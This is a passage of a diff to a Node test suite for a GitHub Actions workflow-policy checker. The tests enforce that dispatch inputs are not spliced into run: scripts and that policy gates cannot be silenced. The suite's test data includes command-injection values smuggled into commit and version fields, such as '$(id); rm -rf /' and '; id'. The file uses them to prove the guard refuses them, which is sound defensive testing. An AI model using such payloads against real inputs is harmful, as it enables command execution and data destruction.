workflow.jobs.sync.if = "${{ github.event.inputs.version != '' }}"; + }, /must name a dispatch input only as \$\{\{ inputs\.commit \}\}/u], + // The checkout `ref` exemption exists because that one step's ref is separately pinned to the + // value the guard validated. A like-named step in another job borrows the name, not the guard. + ["another job borrows the checkout step's name to inherit its exemption", workflow => { + workflow.jobs.leak = { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + permissions: { contents: "read" }, + steps: [{ + name: "Checkout the published commit", + uses: "actions/checkout@v5", + with: { ref: "${{ inputs.commit }}" }, + }], + }; + }, /jobs\.leak\.steps\.0 must not splice a dispatch input into an action input/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match(validateWorkflows(workflows).join("\n"), expected); + }); + } +}); - workflows.get("packaged-platform-proof.yml").jobs.build["timeout-minutes"] = - "${{ inputs.calibration_mode && 180 || (inputs.candidate_installed_proof && 120 || 60) }}"; +function firstRunStep(workflow) { + for (const [jobId, job] of Object.entries(workflow.jobs ?? {})) { + const steps = Array.isArray(job?.steps) ? job.steps : []; + for (const [index, step] of steps.entries()) { + if (typeof step?.run === "string") return { jobId, index, step }; + } + } + return undefined; +} - assert.match( - validateWorkflows(workflows).join("\n"), - /package build timeout must cover only calibration or signed macOS packaging/u, - ); +const unwrittenWorkflow = "future-dispatch-proof.yml"; + +function unwrittenDispatchWorkflow(run, job = {}) { + return { + name: "Future dispatch proof", + on: { workflow_dispatch: { inputs: { ref: { required: true, type: "string" } } } }, + permissions: { contents: "read" }, + jobs: { + leak: { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + ...job, + steps: [ + ...(job.steps ?? []), + { name: "Echo the dispatched ref", shell: "bash", ...run }, + ], + }, + }, + }; +} + +// #1554 fixed marketplace-sync.yml and pinned the fix with `validateMarketplaceSync`, a validator +// that names one file. That shape cannot fail on a second file however many times the same splice +// is written, and eight more workflows carried it (#1566). The replacement has to hold a property +// the per-file validator could not: it reads whatever workflows exist, so it covers files nobody +// listed -- including files that do not exist yet. Every test below is a claim about the rule's +// reach, not about any one workflow. +test("no workflow interpolates a dispatch input into a run: body", async (t) => { + await t.test("the repository as it stands has no such splice anywhere", () => { + assert.deepEqual(dispatchInputInterpolationViolations(loadWorkflows()), []); + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + }); + + // The other direction, on every workflow at once. The loop names no file: it grows with the + // directory, so a workflow added tomorrow is mutated by this suite the day it lands. + for (const [file, workflow] of loadWorkflows()) { + const located = firstRunStep(workflow); + if (located === undefined) continue; + await t.test(`${file} cannot splice a dispatch input into ${located.step.name ?? "its first script"}`, () => { + const workflows = loadWorkflows(); + const target = firstRunStep(workflows.get(file)); + target.step.run = `${target.step.run}\necho "\${{ inputs.version }}"\n`; + const reported = dispatchInputInterpolationViolations(workflows); + assert.equal(reported.length, 1); + assert.equal( + reported[0].startsWith(`${file} jobs.${target.jobId}.steps.${target.index}`), + true, + reported[0], + ); + assert.match( + validateWorkflows(workflows).join("\n"), + /must read \$\{\{ inputs\.version \}\} from step env, not interpolated script text/u, + ); + assert.match(reported[0], /it carries a dispatch input$/u); + }); + } + + // The claim the per-file validator could not make. Nothing here edits the rule, and the file is + // not on disk: the rule sees it because it iterates the set it is handed. + await t.test("a workflow that does not exist yet is covered without editing the rule", () => { + const workflows = loadWorkflows(); + assert.equal(workflows.has(unwrittenWorkflow), false); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow({ + run: 'echo "${{ inputs.ref }}"\n', + })); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + " must read ${{ inputs.ref }} from step env, not interpolated script text:" + + " it carries a dispatch input", + ]); + assert.match( + validateWorkflows(workflows).join("\n"), + /future-dispatch-proof\.yml jobs\.leak\.steps\.0 \(Echo the dispatched ref\) must read/u, + ); + }); + + await t.test("the same unwritten workflow reading that value from env is not a violation", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow({ + env: { INPUT_REF: "${{ inputs.ref }}" }, + run: 'echo "$INPUT_REF"\n', + })); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), []); + }); + + // GitHub serves one dispatched value under several spellings and an expression can bury the + // context inside a function call. A rule that only knows `inputs.name` exempts the rest. + for (const [name, expression] of [ + ["the short spelling", "${{ inputs.version }}"], + ["the spelling GitHub serves the same value under", "${{ github.event.inputs.version }}"], + ["the index spelling", "${{ inputs['version'] }}"], + ["a fallback that reaches an input second", "${{ github.ref_name || inputs.version }}"], + // Braces inside the expression must not end the match early and hide the rest of it. The first + // case carries a single `}`, which the old non-greedy match survived. The rest carry `}}` + // sequences -- `{{` and `}}` are GitHub's own documented escapes for a literal brace inside + // `format()` -- and those it did not: `${{ format('{{Hello {0}}}', inputs.ref) }}` was cut to + // `${{ format('{{Hello {0}}`, which names no context, so the rule reported the file clean while + // GitHub spliced the input. Every one of these passed policy and actionlint before the fix. + ["a spelling wrapped in a format call carrying a brace", "${{ format('{0}', inputs.version) }}"], + ["the documented format brace escape", "${{ format('{{Hello {0}}}', inputs.version) }}"], + ["the documented escape around two placeholders", + "${{ format('{{Hello {0} {1}}}', inputs.version, github.sha) }}"], + ["a brace escape whose literal looks like the terminator", "${{ format('}}{{', inputs.version) }}"], + ["JSON carrying a nested object", `\${{ fromJSON('{"a":{"b":1}}').a.b && inputs.version }}`], + ]) { + await t.test(`${name} is refused`, () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow({ run: `echo "${expression}"\n` })); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + ` must read ${expression} from step env, not interpolated script text:` + + " it carries a dispatch input", + ]); + // Reporting is not enough on its own: the span has to be the whole expression. A matcher that + // stops early still names `inputs` in some of these and would pass the check above on an + // accident rather than on the property being claimed. + assert.deepEqual(interpolationSpans(`echo "${expression}"`), [expression]); + }); + } + + // Naming the `inputs` context alone reads the value's *location*, not the value. One hop moves + // it somewhere the rule was not looking, and the launder is a legal, actionlint-clean workflow. + // Each of these passed both gates before the channels were refused with the context. + // + // These replace two cases that used to assert `${{ steps.*.outputs.* }}` and + // `${{ needs.*.outputs.* }}` are "not a violation". That claim was false, and asserting it meant + // a test was holding the hole open: it would have failed anyone who tried to close it. + await t.test("a job-level env binding does not launder an input into script text", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run: 'echo "${{ env.LAUNDERED }}"\n' }, + { env: { LAUNDERED: "${{ inputs.ref }}" } }, + )); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + " must read ${{ env.LAUNDERED }} from step env, not interpolated script text:" + + " it carries env", + ]); + assert.match(validateWorkflows(workflows).join("\n"), /must read \$\{\{ env\.LAUNDERED \}\}/u); + }); + + // For `workflow_dispatch`, `github.event` is the container the inputs arrive in, so serialising + // it carries every dispatched value into script text without the word `inputs` appearing at all. + // `toJSON` is not an escape: it preserves `$(` and backticks verbatim. + await t.test("serialising the event payload does not launder an input into script text", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run: 'echo "${{ toJSON(github.event) }}"\n' }, + )); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + " must read ${{ toJSON(github.event) }} from step env, not interpolated script text:" + + " it carries the event payload", + ]); + assert.match(validateWorkflows(workflows).join("\n"), /it carries the event payload/u); + }); + + await t.test("a step output does not launder an input into a later script", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run: 'echo "${{ steps.launder.outputs.ref }}"\n' }, + { + steps: [{ + name: "Write the dispatched ref to a step output", + id: "launder", + shell: "bash", + env: { INPUT_REF: "${{ inputs.ref }}" }, + run: 'echo "ref=$INPUT_REF" >> "$GITHUB_OUTPUT"\n', + }], + }, + )); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.1 (Echo the dispatched ref)` + + " must read ${{ steps.launder.outputs.ref }} from step env, not interpolated script text:" + + " it carries a step output", + ]); + }); + + await t.test("a job output does not launder an input into another job's script", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run: 'echo "${{ needs.resolve.outputs.ref }}"\n' }, + )); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), [ + `${unwrittenWorkflow} jobs.leak.steps.0 (Echo the dispatched ref)` + + " must read ${{ needs.resolve.outputs.ref }} from step env, not interpolated script text:" + + " it carries a job output", + ]); + }); + + // Over-firing would make the rule unusable and force exemptions, which is how the per-file shape + // started. These are the expressions a run: body is still allowed to carry, and each remedy above + // is one `env:` line -- for `env` itself it is zero, because a workflow- or job-level `env:` entry + // is already exported into the shell. + for (const [name, run] of [ + ["a workflow context", 'echo "${{ github.run_attempt }}"\n'], + ["a matrix value", 'echo "${{ matrix.asset_target }}"\n'], + ["a runner context", 'echo "${{ runner.os }}"\n'], + ["a shell variable whose name merely contains the word", 'echo "$RELEASE_INPUTS_PATH"\n'], + ["the shell read of a job-level env entry", 'echo "$LAUNDERED"\n'], + ["a shell variable that merely spells the env context", 'echo "$env_path/bin"\n'], + // `_` is a word character, so `\bevent\b` does not reach inside `github.event_name`. Reading + // which trigger fired says nothing about what was dispatched. + ["the trigger name, which is not the event payload", 'echo "${{ github.event_name }}"\n'], + ]) { + await t.test(`${name} is not a violation`, () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, unwrittenDispatchWorkflow( + { run }, + { env: { LAUNDERED: "${{ inputs.ref }}" } }, + )); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), []); + }); + } + + // #1554 established that a checkout `ref:` is not an executable surface: it is resolved by the + // action, not parsed by a shell, and it is pinned separately where it belongs. This rule reads + // `run:` only, and that boundary is asserted rather than assumed. + await t.test("a dispatch input in an action input is outside this rule's surface", () => { + const workflows = loadWorkflows(); + workflows.set(unwrittenWorkflow, { + name: "Future dispatch proof", + on: { workflow_dispatch: { inputs: { ref: { required: true, type: "string" } } } }, + permissions: { contents: "read" }, + jobs: { + leak: { + "runs-on": "ubuntu-latest", + "timeout-minutes": 10, + steps: [{ + name: "Checkout the dispatched ref", + uses: "actions/checkout@v5", + with: { ref: "${{ inputs.ref }}" }, + }], + }, + }, + }); + assert.deepEqual(dispatchInputInterpolationViolations(workflows), []); + }); }); -test("draft source workflow freezes its complete top-level contract", async (t) => { - assert.deepEqual(draftWorkflowPolicyViolations(draftSourceWorkflow()), []); - const reordered = draftSourceWorkflow(); - [reordered.on.pull_request.paths[0], reordered.on.pull_request.paths[1]] - = [reordered.on.pull_request.paths[1], reordered.on.pull_request.paths[0]]; - assert.deepEqual( - draftWorkflowPolicyViolations(reordered), - [], - "path membership is exact but order-insensitive", - ); +// Moving a value out of the script's text and into `env:` moves the read out of GitHub's +// interpolator and into the shell -- and the shell is not the same everywhere. `${{ env.NAME }}` +// read identically on every runner; `"$NAME"` is a bash read, and this repository's packaged build +// matrix includes windows-latest, where the runner default is pwsh and the read is `$env:NAME`. +// The failure mode is the dangerous one: not an error, but a proof comparing against an empty +// string. Closing #1566's laundering channels forced these reads into scripts, so the property the +// rewrite depends on is asserted rather than assumed. +test("a binding consumed as a shell variable must say which shell it was written for", async (t) => { + await t.test("the repository as it stands declares a shell wherever it matters", () => { + assert.deepEqual(shellDependentBindingViolations(loadWorkflows()), []); + }); - const mutations = [ - ["workflow name", workflow => { workflow.name = "Draft checks"; }], - ["missing pull request trigger", workflow => { delete workflow.on.pull_request; }], - ["extra push trigger", workflow => { workflow.on.push = { branches: ["main"] }; }], - ["missing path", workflow => { workflow.on.pull_request.paths.pop(); }], - ["duplicate path", workflow => { - workflow.on.pull_request.paths[1] = workflow.on.pull_request.paths[0]; - }], - ["extra path", workflow => { workflow.on.pull_request.paths.push("scripts/**"); }], - ["dispatch inputs", workflow => { - workflow.on.workflow_dispatch = { inputs: { ref: { required: false, type: "string" } } }; - }], - ["missing dispatch", workflow => { delete workflow.on.workflow_dispatch; }], - ["write permission", workflow => { workflow.permissions.contents = "write"; }], - ["extra permission", workflow => { workflow.permissions.actions = "read"; }], - ["concurrency group", workflow => { workflow.concurrency.group = "draft-${{ github.ref }}"; }], - ["disabled concurrency cancellation", workflow => { - workflow.concurrency["cancel-in-progress"] = false; - }], - ["extra concurrency field", workflow => { workflow.concurrency.limit = 1; }], - ["top-level env", workflow => { workflow.env = { CARGO_TERM_COLOR: "always" }; }], - ["top-level defaults", workflow => { - workflow.defaults = { run: { shell: "bash" } }; - }], - ["missing jobs", workflow => { delete workflow.jobs; }], - ["cloned job", workflow => { - workflow.jobs["extra-draft-lane"] = structuredClone(workflow.jobs["linux-draft"]); - }], + // Every step the #1566 rewrite pointed at a variable, on the one job whose matrix reaches + // Windows. Dropping the shell is the whole mutation; the script text is untouched. + for (const name of [ + "Install pinned Rust", + "Smoke packaged release asset", + "Prove Linux x64 glibc 2.31 baseline", + "Report fresh package identity", + ]) { + await t.test(`${name} cannot leave its shell to the runner`, () => { + const workflows = loadWorkflows(); + delete draftStep(workflows.get("packaged-platform-proof.yml").jobs.build, name).shell; + assert.match( + shellDependentBindingViolations(workflows).join("\n"), + new RegExp(`\\(${name}\\) reads [A-Z_, ]+ as a shell variable`, "u"), + ); + assert.match(validateWorkflows(workflows).join("\n"), /must declare its shell/u); + }); + } + + // The Windows smoke is the counter-case: it consumes the same two bindings and is correct + // because it reads them the way its own shell spells them. + await t.test("the Windows smoke reads the same bindings the pwsh way", () => { + const step = draftStep(loadWorkflows().get("packaged-platform-proof.yml").jobs.build, + "Smoke packaged release asset on Windows"); + assert.equal(step.shell, "pwsh"); + assert.equal(step.env.SOURCE_SHA, "${{ steps.source-identity.outputs.sha }}"); + assert.match(step.run, /--expected-source-sha "\$env:SOURCE_SHA"/u); + assert.equal(/--expected-source-sha "\$SOURCE_SHA"/u.test(step.run), false); + }); + + // A job pinned to a non-Windows label needs no declaration: bash is the runner default there, + // and requiring one would be noise rather than a property. + await t.test("a Linux-only job is not asked to declare a shell it already has", () => { + const workflows = loadWorkflows(); + const job = workflows.get("release.yml").jobs["marketplace-publish"]; + assert.equal(job["runs-on"], "ubuntu-latest"); + assert.equal(draftStep(job, "Point the catalog at the published release").shell, undefined); + assert.deepEqual(shellDependentBindingViolations(workflows), []); + }); +}); + +// A rule is only as blocking as the step that runs it. `continue-on-error` lives outside the +// script, so nothing this file's own text asserts can see it, and it converts every `exit 1` the +// step produces into advice. The commands the policy gate runs were pinned; that the gate FAILS was +// not, so one key on plugin-static.yml would have silenced this file and its whole suite green. +// +// The repository has scripts that deliberately absorb their own failure, so "gates must be +// blocking" would be false here. What those have and a silenced gate does not is a successor: an +// `id:`, and a later step that reads `steps..outcome` and fails on it. That is the property. +test("a script that absorbs its own failure must hand that failure to something that does not", async (t) => { + await t.test("the repository as it stands absorbs no failure into nothing", () => { + assert.deepEqual(absorbedFailureViolations(loadWorkflows()), []); + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + }); + + // The exact key the reviewer reached for, on the exact step. It silences check-workflow-policy.mjs + // AND `node --test check-workflow-policy.test.mjs` at once while the job still reports success. + await t.test("the workflow policy gate cannot be made advisory", () => { + const workflows = loadWorkflows(); + draftStep(workflows.get("plugin-static.yml").jobs["plugin-static"], "Check workflow policy") + ["continue-on-error"] = true; + assert.deepEqual(absorbedFailureViolations(workflows), [ + "plugin-static.yml jobs.plugin-static.steps.7 (Check workflow policy) absorbs its own" + + " failure and must have an id whose outcome a later blocking step requires", + ]); + assert.match(validateWorkflows(workflows).join("\n"), /Check workflow policy\) absorbs its own failure/u); + }); + + // The rule names no step and no file: it reads whatever `run:` steps exist, so a gate added + // tomorrow is covered the day it lands. Every gate step in the repository is mutated here. + for (const [file, workflow] of loadWorkflows()) { + for (const [jobId, job] of Object.entries(workflow.jobs ?? {})) { + const steps = (Array.isArray(job?.steps) ? job.steps : []) + .map((step, index) => ({ step, index })) + .filter(({ step }) => typeof step?.run === "string" + && step["continue-on-error"] === undefined); + if (steps.length === 0) continue; + const { step, index } = steps[0]; + await t.test(`${file} ${jobId} cannot silence ${step.name ?? `step ${index}`}`, () => { + const workflows = loadWorkflows(); + workflows.get(file).jobs[jobId].steps[index]["continue-on-error"] = true; + const reported = absorbedFailureViolations(workflows); + // Silencing a step that was somebody else's successor reports both -- the step that stopped + // failing and the step whose failure it stopped requiring -- so this asserts the mutated + // step is named rather than that it is the only one named. + assert.equal( + reported.some(violation => violation.startsWith(`${file} jobs.${jobId}.steps.${index} `) + || violation.startsWith(`${file} jobs.${jobId}.steps.${index} (`)), + true, + reported.join("\n"), + ); + }); + } + } + + // An `id:` on its own is not a successor. Naming the step is how you make its outcome readable, + // not how you make it required, and stopping at the id would let one line reopen the hole. + await t.test("naming the silenced step is not enough", () => { + const workflows = loadWorkflows(); + const gate = draftStep(workflows.get("plugin-static.yml").jobs["plugin-static"], "Check workflow policy"); + gate["continue-on-error"] = true; + gate.id = "workflow-policy"; + assert.match( + absorbedFailureViolations(workflows).join("\n"), + /must have an id whose outcome a later blocking step requires/u, + ); + }); + + // And the shape that is allowed: the failure is absorbed here and required there. + await t.test("a successor that requires the outcome makes absorbing it legal", () => { + const workflows = loadWorkflows(); + const job = workflows.get("plugin-static.yml").jobs["plugin-static"]; + const gate = draftStep(job, "Check workflow policy"); + gate["continue-on-error"] = true; + gate.id = "workflow-policy"; + job.steps.push({ + name: "Require the workflow policy gate", + shell: "bash", + env: { POLICY_OUTCOME: "${{ steps.workflow-policy.outcome }}" }, + run: 'test "$POLICY_OUTCOME" = success\n', + }); + assert.deepEqual(absorbedFailureViolations(workflows), []); + }); + + // The precedent this generalises must survive it. The optional cache restores are `uses:` steps + // whose miss is the normal path: they carry no outcome for anything to require, and a separate + // rule requires them to stay non-blocking. Generalising must not put those two in conflict. + for (const [file, jobId, name] of [ + ["rust-ci.yml", "linux-draft", "Restore Cargo inputs and output"], + ["rust-ci.yml", "linux-draft", "Restore compiler objects"], + ["source-proof.yml", "full-source-gate", "Restore Cargo dependency inputs"], + ["packaged-platform-proof.yml", "build", "Restore Cargo dependency inputs"], + ]) { + await t.test(`${file} ${name} stays deliberately optional`, () => { + const workflows = loadWorkflows(); + const step = draftStep(workflows.get(file).jobs[jobId], name); + assert.equal(step["continue-on-error"], true); + assert.equal(step.run, undefined); + assert.deepEqual(absorbedFailureViolations(workflows), []); + assert.deepEqual(validateWorkflows(workflows), []); + }); + } + + // The two scripts that legitimately absorb their failure, and what happens when the successor + // that requires them is taken away. Without this the rule could be satisfied by deleting the + // requirement instead of the `continue-on-error`. + for (const [file, jobId, absorbing, successor] of [ + ["source-proof.yml", "full-source-gate", "Compile the complete workspace test suite", + "Require successful source compilation"], + ["source-proof.yml", "full-source-gate", "Lint every workspace target and feature once", + "Require successful source compilation"], + ]) { + await t.test(`${file} ${absorbing} stops being required when ${successor} drops it`, () => { + const workflows = loadWorkflows(); + const job = workflows.get(file).jobs[jobId]; + const id = draftStep(job, absorbing).id; + const step = draftStep(job, successor); + step.env = Object.fromEntries( + Object.entries(step.env ?? {}).filter(([, value]) => !String(value).includes(`steps.${id}.outcome`)), + ); + assert.match( + absorbedFailureViolations(workflows).join("\n"), + new RegExp(`\\(${absorbing}\\) absorbs its own failure`, "u"), + ); + }); + } + + // A job-level key downgrades every step it contains at once, so no per-step id can answer for it. + // Only a downstream job reading `needs..result` can. + await t.test("a job cannot absorb its own failure into nothing either", () => { + const workflows = loadWorkflows(); + workflows.get("plugin-static.yml").jobs["plugin-static"]["continue-on-error"] = true; + assert.deepEqual(absorbedFailureViolations(workflows), [ + "plugin-static.yml jobs.plugin-static absorbs its own failure and must have" + + " needs.plugin-static.result required", + ]); + }); +}); + +// Routing a dispatched value through `env:` removes it from the script's text -- and from the +// reach of the fragment pin that used to name it there. `--expected-sha "$INPUT_REF"` reads the +// same whether `INPUT_REF` carries `inputs.ref` or a commit nobody reviewed, so the pin now has +// two halves: the script names the variable, and the variable names the value. Both halves are +// proven here for the trust-anchoring steps -- the release-cell producers, whose `--expected-sha` +// is the commit every downstream claim is filed against -- and for the mode guards that decide +// which claims a protected run is allowed to make at all. +test("env-routed dispatch inputs stay pinned to the value they were reviewed with", async (t) => { + assert.deepEqual(validateWorkflows(loadWorkflows()), []); + const reviewedRef = "${{ inputs.ref }}"; + const behaviorOnly = "${{ inputs.server_behavior_only }}"; + const sites = [ + ["linux-vulkan-proof.yml", "packaged-vulkan", "Validate candidate-installed mode", + { SERVER_BEHAVIOR_ONLY: behaviorOnly }, + 'test "$SERVER_BEHAVIOR_ONLY" = true', `test "${behaviorOnly}" = true`], + ["windows-vulkan-proof.yml", "packaged-vulkan", "Validate candidate-installed mode", + { SERVER_BEHAVIOR_ONLY: behaviorOnly }, + 'if ($env:SERVER_BEHAVIOR_ONLY -ne "true")', `if ("${behaviorOnly}" -ne "true")`], + ["macos-metal-proof.yml", "packaged-metal", "Validate candidate-installed mode", + { SERVER_BEHAVIOR_ONLY: behaviorOnly, CALIBRATION_MODE: "${{ inputs.calibration_mode }}" }, + 'test "$SERVER_BEHAVIOR_ONLY" = true', `test "${behaviorOnly}" = true`], + ["linux-vulkan-proof.yml", "packaged-vulkan", "Emit authenticated Linux Vulkan release cells", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["windows-vulkan-proof.yml", "packaged-vulkan", "Emit authenticated Vulkan release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["windows-vulkan-proof.yml", "packaged-vulkan", "Emit authenticated Windows retrieval-readiness release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["windows-vulkan-proof.yml", "packaged-vulkan", "Emit authenticated candidate-installed Windows release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["macos-metal-proof.yml", "packaged-metal", "Emit authenticated Metal release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["macos-metal-proof.yml", "packaged-metal", "Emit authenticated macOS retrieval-readiness release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["macos-metal-proof.yml", "packaged-metal", "Emit authenticated candidate-installed macOS release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + ["packaged-platform-proof.yml", "build", "Emit authenticated package release cell", + { INPUT_REF: reviewedRef }, + '--expected-sha "$INPUT_REF"', `--expected-sha "${reviewedRef}"`], + // source-proof resolves its own trusted head in an earlier job rather than taking a dispatched + // ref, so its anchor is that job's output. Same two halves, different source of truth. + ["source-proof.yml", "full-source-gate", "Emit authenticated source release cell", + { RESOLVED_REF: "${{ needs.resolve.outputs.ref }}" }, + '--expected-sha "$RESOLVED_REF"', '--expected-sha "${{ needs.resolve.outputs.ref }}"'], ]; + for (const [file, jobId, stepName, bindings, needle, splice] of sites) { + for (const [key, expected] of Object.entries(bindings)) { + await t.test(`${file} ${stepName} refuses a rewired ${key}`, () => { + const workflows = loadWorkflows(); + draftStep(workflows.get(file).jobs[jobId], stepName).env[key] = "${{ github.event.pull_request.head.sha }}"; + const violations = validateWorkflows(workflows); + assert.ok( + violations.includes(`${file} step ${stepName} must bind ${key} to ${expected}`), + violations.join("\n"), + ); + }); + await t.test(`${file} ${stepName} refuses a dropped ${key}`, () => { + const workflows = loadWorkflows(); + delete draftStep(workflows.get(file).jobs[jobId], stepName).env[key]; + assert.ok( + validateWorkflows(workflows) + .includes(`${file} step ${stepName} must bind ${key} to ${expected}`), + ); + }); + } + await t.test(`${file} ${stepName} refuses the splice it was rewritten away from`, () => { + const workflows = loadWorkflows(); + const step = draftStep(workflows.get(file).jobs[jobId], stepName); + assert.equal(step.run.includes(needle), true, `missing pinned fragment ${needle}`); + step.run = step.run.replace(needle, splice); + const violations = validateWorkflows(workflows); + // Both layers must see it: the fragment pin, which knows what this step should read, and + // the generic rule, which knows nothing about this step and refuses the shape anyway. + assert.ok( + violations.includes(`${file} step ${stepName} must run ${needle}`), + violations.join("\n"), + ); + if (splice.includes("inputs")) { + assert.ok( + violations.some(violation => + violation.startsWith(`${file} jobs.${jobId}.steps.`) + && violation.includes("from step env, not interpolated script text")), + violations.join("\n"), + ); + } + }); + } +}); - for (const [name, mutate] of mutations) { - await t.test(name, () => { - const candidate = draftSourceWorkflow(); - mutate(candidate); - assert.notDeepEqual(draftWorkflowPolicyViolations(candidate), []); +// The guard is the layer the workflow relies on before a ref is resolved or a token is minted, so +// it is proven by running it rather than by reading it. Every refusal below reaches the guard's own +// `::error::` and exit 1: a bash syntax error would also be non-zero and would prove nothing. +test("the marketplace dispatch guard refuses whole values, not first lines", async (t) => { + const commit = "0123456789abcdef0123456789abcdef01234567"; + const version = "0.16.3"; + const refused = [ + // grep anchors per line, so each of these presents one well-formed line and smuggles the rest. + ["a commit whose first line is a valid abbreviated sha", { + INPUT_COMMIT: "abc1234\n$(id); rm -rf /", + INPUT_VERSION: version, + }], + ["a commit whose payload precedes the sha", { INPUT_COMMIT: "; id\nabc1234", INPUT_VERSION: version }], + ["a version whose first line is a release", { INPUT_COMMIT: commit, INPUT_VERSION: "0.16.3\n; id" }], + ["a version whose payload precedes the release", { INPUT_COMMIT: commit, INPUT_VERSION: "; id\n0.16.3" }], + ["a commit carrying a command substitution", { INPUT_COMMIT: "abc1234$(id)", INPUT_VERSION: version }], + ["a version carrying a trailing command", { INPUT_COMMIT: commit, INPUT_VERSION: "0.16.3; id" }], + ["a commit shorter than an abbreviation", { INPUT_COMMIT: "abc123", INPUT_VERSION: version }], + ["a commit longer than a sha", { INPUT_COMMIT: `${commit}ab`, INPUT_VERSION: version }], + ["a non-hexadecimal commit", { INPUT_COMMIT: "zzzzzzz", INPUT_VERSION: version }], + ["an empty commit", { INPUT_COMMIT: "", INPUT_VERSION: version }], + ["an empty version", { INPUT_COMMIT: commit, INPUT_VERSION: "" }], + ["a v-prefixed version", { INPUT_COMMIT: commit, INPUT_VERSION: "v0.16.3" }], + ]; + for (const [name, environment] of refused) { + await t.test(`refuses ${name}`, () => { + const result = runMarketplaceGuard(environment); + assert.equal(result.status, 1, `guard admitted ${JSON.stringify(environment)}`); + assert.match(result.stdout, /::error::/u); + }); + } + const admitted = [ + ["an abbreviated sha", { INPUT_COMMIT: "abc1234", INPUT_VERSION: version }], + ["a full sha", { INPUT_COMMIT: commit, INPUT_VERSION: "1.0.0" }], + ["a prerelease version", { INPUT_COMMIT: commit, INPUT_VERSION: "0.16.3-rc.1" }], + ["an uppercase sha", { INPUT_COMMIT: "ABC1234DEF", INPUT_VERSION: version }], + ]; + for (const [name, environment] of admitted) { + await t.test(`admits ${name}`, () => { + const result = runMarketplaceGuard(environment); + assert.equal(result.status, 0, result.stderr); }); } + await t.test("every refusal above was measured under the shell the step declares", () => { + assert.equal(marketplaceGuardStep().shell, "bash"); + assert.equal(runMarketplaceGuard({ INPUT_COMMIT: "abc1234", INPUT_VERSION: version }).shell, "bash"); + }); }); -test("draft source job rejects every alternate execution surface", async (t) => { - assert.deepEqual(draftSourcePolicyViolations(draftSourceJob(), retrievalSourceJob()), []); +// `shell:` is invisible to both the fragment assertions and the script digest -- neither reads a +// key outside `run:` -- so the guard's dependence on bash was a blind spot on both sides. This +// measures that dependence rather than arguing it: the identical script, under a shell that lacks +// `[[`, never reaches its own refusal. That is why the shell is pinned in policy, and why the +// harness above resolves the declared key instead of hardcoding bash. +test("the dispatch guard's refusal is bash-dependent, so the declared shell is load-bearing", async (t) => { + const payload = { INPUT_COMMIT: "abc1234$(id); rm -rf /", INPUT_VERSION: "0.16.3" }; + const step = marketplaceGuardStep(); + + await t.test("bash refuses the payload", () => { + const result = spawnMarketplaceGuard("bash", step.run, payload); + assert.equal(result.status, 1, `bash admitted ${JSON.stringify(payload)}`); + assert.match(result.stdout, /::error::commit must be/u); + }); + + // The harness reads the step's declared shell rather than assuming one, so a workflow that + // changed its shell would change what this suite executes instead of silently measuring bash. + await t.test("the harness follows the declared shell and refuses to guess", () => { + assert.equal(marketplaceGuardShell({ shell: "bash" }), "bash"); + assert.equal(marketplaceGuardShell({ shell: "sh" }), "sh"); + assert.throws(() => marketplaceGuardShell({}), /must declare its shell/u); + assert.throws(() => marketplaceGuardShell({ shell: "pwsh" }), /cannot run/u); + }); + + const posix = posixShellWithoutDoubleBracket(); + await t.test("a POSIX shell never reaches the refusal", { skip: posix === undefined + ? "no POSIX shell without [[ is available on this host" + : false }, () => { + const result = spawnMarketplaceGuard(posix, step.run, payload); + // On dash `[[` is a missing command; inside an `if` condition `set -e` does not fire, so the + // reject branch is skipped and the script runs off its end with status 0. Older dash instead + // dies on `set -o pipefail`. Either way the refusal the guard exists to perform never happens. + assert.doesNotMatch( + result.stdout, + /::error::commit must be/u, + `${posix} unexpectedly performed the guard's refusal`, + ); + }); + + await t.test("policy refuses to let the step run under that shell", () => { + const workflows = loadWorkflows(); + draftStep(workflows.get("marketplace-sync.yml").jobs.sync, marketplaceGuardName).shell = "sh"; + assert.match( + 